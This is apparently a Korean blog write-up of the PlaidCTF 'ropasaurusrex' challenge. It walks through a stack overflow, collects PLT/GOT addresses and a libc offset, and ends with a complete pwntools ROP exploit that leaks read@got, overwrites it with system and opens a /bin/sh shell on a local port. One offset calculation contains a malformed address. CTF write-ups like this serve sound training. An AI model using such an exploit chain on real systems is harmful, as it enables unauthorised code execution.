Profile

머리정리하는곳

c2w2m2

[Plaid] Ropasaurusrex

Rop를 연습한다면 한번씩 풀고 지나간다는 문제입니다


Ropasaurusrex          <==     문제


Note                      <==     Note


Libc                        <==     Libc




적용된 보호기법은....!



 ida로 까보면



main에서 Input  (함수이름 고친겁니다. 처음에는 sub_뭐시기 일거에요) 를 호출합니다. 그후 write 함수를 이용해서 WIN이라는 문자열을 출력해주네요



Input함수에서는 read함수를 이용해서 buf 값은 받는데...


buf크기는 0x88 인데 받는건 0x100??         BOF!


그다음은 어캐 쉘을 띄울지인데 note파일이나, 문제 이름이나 ROP 라고 외치고있어서 ROP로 공격하는걸로


그리고 프로그램에서 read, write 밖에 쓰지 않아서 read@got 를 system 으로 바꾸어 문제를 해결할 생각


대충 계획이라는 끄적임을 해보면


처음으로 read(0, ASLR 안걸린 스택 주소, "/bin/sh" 길이 = 8)  을 하고 내가 /bin/sh 하면 저 스택주소에 /bin/sh가 들어갈 것이다.

이걸로 /bin/sh는 끝내고  read@got를 덮어야하는데  write(1, read@got 주소, 길이 = 4) 해서 저기에 뭐있는지를 보고

read(0, 주소, 길이=4) 를 써서 system 을 덮는데 system주소는 read간 offset 구해서 찾으면 될거고 저렇게 하면 read@got가 덮이니


read@plt+AAAA+/bin/sh주소 정도로 하면 될거같네요


고로 필요한건

read@plt    read@got    write@plt    pppr    ASLR 안걸린 스택주소    offset


차례로 하나하나 구해봅시다만 @plt    @got  은 생략


read@plt = 0x0804832c 

read@got = 0x0804961c

write@plt = 0x0804830c



PPPR 은    objdump -d [파일이름] | grep "ret" -B 3



0x80484b6



ASLR 안걸린 스택주소 !


objdump -h [파일주소]



dynamic 이나 bss 암거나 골라 쓰세영

저는 bss 

0x08049628


마지막 offset!



0xf7edb350 - 0xf78e41940        =         0x99a10


다구한듯 ㅇㅇ,,




read@plt = 0x0804832c 

read@got = 0x0804961c

write@plt = 0x0804830c

PPPR = 0x80484b6

bss = 0x08049628

offset = 0x99a10


이젠 공격 ㄱ





#exploit.py from pwn import * PPPR = 0x080484b6 read_plt = 0x0804832c read_got = 0x0804961c write_plt = 0x0804830c bss = 0x08049628 offset = 0x99a10 binsh = "/bin/sh" len_binsh = len(binsh) p = remote("localhost", 9904) pay = "A"*140 pay += p32(read_plt)+p32(PPPR)+p32(0)+p32(bss)+p32(len_binsh) #read(0, bss, 8) => Overwrite /bin/sh to bss pay += p32(write_plt)+p32(PPPR)+p32(1)+p32(read_got)+p32(4) #write(1, read_got, 4) => printf read_got pay += p32(read_plt)+p32(PPPR)+p32(0)+p32(read_got)+p32(4) #read(0, read_got, 4) => Overwrite system to read_got pay += p32(read_plt)+"ABCD"+p32(bss) #read("ABCD", bss) => system(bss) => system("/bin/sh") print "Send Explot : %s" % pay p.send(pay) print "Send /bin/sh : %s" % binsh p.send(binsh) sleep(1) print "Reseving" tm = p.recv(4) print "Reseve Complete!" print "read_got : %x" % u32(tm) sys = u32(tm) - offset print "system : %x" % sys p.send(p32(sys)) sleep(0.3) print "Send system" p.sendline("id") sleep(1) print p.recvline() p.interactive()




스킨 바꿨더니 코드 제대로 안올라감 ㅠㅠ


쨋든 이런식으로 하면 끝나여 








'Pwnable' 카테고리의 다른 글

[Pico] ROP 1, 2, 3  (0) 2017.06.29
[Pwnium] pwn200  (0) 2017.06.28
[Toddler's Bottle] cmd1 , cmd2  (0) 2017.05.30
[Toddler's Bottle] flag  (0) 2017.05.30
[Toddler's Bottle] random  (0) 2017.05.30